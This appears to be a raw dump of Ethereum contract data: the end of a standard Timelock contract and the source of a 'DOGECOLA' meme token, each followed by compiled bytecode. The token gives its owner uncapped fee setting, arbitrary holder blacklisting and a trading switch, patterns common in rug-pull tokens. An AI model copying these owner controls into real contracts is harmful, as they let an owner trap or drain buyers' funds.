string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c26004803603602081101561061557600080fd5b50356112a3565b34801561062857600080fd5b506106466004803603602081101561063f57600080fd5b5035611398565b604080519115158252519081900360200190f35b34801561066657600080fd5b506102a36113ad565b6000546060906001600160a01b031633146106bb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114226038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561072a578181015183820152602001610712565b50505050905090810190601f1680156107575780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561078a578181015183820152602001610772565b50505050905090810190601f1680156107b75780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600390935291205490995060ff16975061082896505050505050505760405162461bcd60e51b815260040180806020018281038252603d815260200180611575603d913960400191505060405180910390fd5b826108316113bc565b101561086e5760405162461bcd60e51b81526004018080602001828103825260458152602001806114c46045913960600191505060405180910390fd5b610881836212750063ffffffff6113c016565b6108896113bc565b11156108c65760405162461bcd60e51b81526004018080602001828103825260338152602001806114916033913960400191505060405180910390fd5b6000818152600360205260409020805460ff1916905584516060906108ec575083610979565b85805190602001208560405160200180836001600160e01b0319166001600160e01b031916815260040182805190602001908083835b602083106109415780518252601f199092019160209182019101610922565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109b85780518252601f199092019160209182019101610999565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a1a576040519150601f19603f3d011682016040523d82523d6000602084013e610a1f565b606091505b509150915081610a605760405162461bcd60e51b815260040180806020018281038252603d815260200180611658603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610add578181015183820152602001610ac5565b50505050905090810190601f168015610b0a5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b3d578181015183820152602001610b25565b50505050905090810190601f168015610b6a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bd15760405162461bcd60e51b81526004018080602001828103825260388152602001806115b26038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610c7d5760405162461bcd60e51b81526004018080602001828103825260368152602001806116226036913960400191505060405180910390fd5b610c97600254610c8b6113bc565b9063ffffffff6113c016565b821015610cd55760405162461bcd60e51b81526004018080602001828103825260498152602001806116956049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d44578181015183820152602001610d2c565b50505050905090810190601f168015610d715780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610da4578181015183820152602001610d8c565b50505050905090810190601f168015610dd15780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e9c578181015183820152602001610e84565b50505050905090810190601f168015610ec95780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610efc578181015183820152602001610ee4565b50505050905090810190601f168015610f295780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b333014610f825760405162461bcd60e51b81526004018080602001828103825260388152602001806115ea6038913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b0316331461101b5760405162461bcd60e51b815260040180806020018281038252603781526020018061145a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b03166001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561108a578181015183820152602001611072565b50505050905090810190601f1680156110b75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156110ea5781810151838201526020016110d2565b50505050905090810190601f1680156111175780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156111e25781810151838201526020016111ca565b50505050905090810190601f16801561120f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561124257818101518382015260200161122a565b50505050905090810190601f16801561126f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b3330146112e15760405162461bcd60e51b81526004018080602001828103825260318152602001806116de6031913960400191505060405180910390fd5b6202a3008110156113235760405162461bcd60e51b81526004018080602001828103825260348152602001806115096034913960400191505060405180910390fd5b62278d008111156113655760405162461bcd60e51b815260040180806020018281038252603881526020018061153d6038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b60008282018381101561141a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a723158204ccf232dcd42ec676f0113d7f27617d97954be761dcd212083939925b0eddac264736f6c63430005110032
{"success": true, "error": null, "results": {}}
85
0xb6b917e14835b23314ffe456ce20cd8579c4eb80
/* Welcome to $DogeCola inspired by our friend Elon Musk's latest tweet https://twitter.com/elonmusk/status/1519480761749016577?s=20&t=7DPaBmouKwr7f2HKdmB0kA ░░░░░░░░░▄░░░░░░░░░░░░░░▄░░░░ ░░░░░░░░▌▒█░░░░░░░░░░░▄▀▒▌░░░ ░░░░░░░░▌▒▒█░░░░░░░░▄▀▒▒▒▐░░░ ░░░░░░░▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐░░░ ░░░░░▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐░░░ ░░░▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌░░░ ░░▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌░░ ░░▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐░░ ░▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌░ ░▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌░ ▀▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐░ ▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌ ▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐░ ░▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌░ ░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐░░ ░░▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌░░ ░░░░▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀░░░ ░░░░░░▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀░░░░░ ░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▀▀░░░░░░░░ */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address ownershipRenounced) public virtual onlyOwner { require(ownershipRenounced != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, ownershipRenounced); _owner = ownershipRenounced; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DOGECOLA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "DOGECOLA"; string private constant _symbol = "DOGECOLA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; // uint256 private _taxFeeOnBuy = 0; // no buy tax //Sell Fee uint256 private _redisFeeOnSell = 0; // uint256 private _taxFeeOnSell = 5; // 5% tax on sales //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xe628a02A6996cC96026F9d517fd18B3A76350a42); address payable private _marketingAddress = payable(0xe628a02A6996cC96026F9d517fd18B3A76350a42); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000000 * 10**9; // uint256 public _maxWalletSize = 15000000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104ec578063dd62ed3e1461050c578063ea1644d514610552578063f2fde38b1461057257600080fd5b8063a2a957bb14610467578063a9059cbb14610487578063bfd79284146104a7578063c3c8cd80146104d757600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b41146101f357806398a5c3151461044757600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026357806318160ddd1461029b57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023357600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aba565b610592565b005b3480156101ff57600080fd5b506040805180820182526008815267444f4745434f4c4160c01b6020820152905161022a9190611be4565b60405180910390f35b34801561023f57600080fd5b5061025361024e366004611a10565b61063f565b604051901515815260200161022a565b34801561026f57600080fd5b50601454610283906001600160a01b031681565b6040516001600160a01b03909116815260200161022a565b3480156102a757600080fd5b50683635c9adc5dea000005b60405190815260200161022a565b3480156102cd57600080fd5b506102536102dc3660046119d0565b610656565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022a565b34801561031f57600080fd5b50601554610283906001600160a01b031681565b34801561033f57600080fd5b506101f161034e366004611960565b6106bf565b34801561035f57600080fd5b506101f161036e366004611b81565b61070a565b34801561037f57600080fd5b506101f1610752565b34801561039457600080fd5b506102b36103a3366004611960565b61079d565b3480156103b457600080fd5b506101f16107bf565b3480156103c957600080fd5b506101f16103d8366004611b9b565b610833565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610283565b34801561041d57600080fd5b506101f161042c366004611b81565b610862565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b506101f1610462366004611b9b565b6108aa565b34801561047357600080fd5b506101f1610482366004611bb3565b6108d9565b34801561049357600080fd5b506102536104a2366004611a10565b610917565b3480156104b357600080fd5b506102536104c2366004611960565b60106020526000908152604090205460ff1681565b3480156104e357600080fd5b506101f1610924565b3480156104f857600080fd5b506101f1610507366004611a3b565b610978565b34801561051857600080fd5b506102b3610527366004611998565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055e57600080fd5b506101f161056d366004611b9b565b610a27565b34801561057e57600080fd5b506101f161058d366004611960565b610a56565b6000546001600160a01b031633146105c55760405162461bcd60e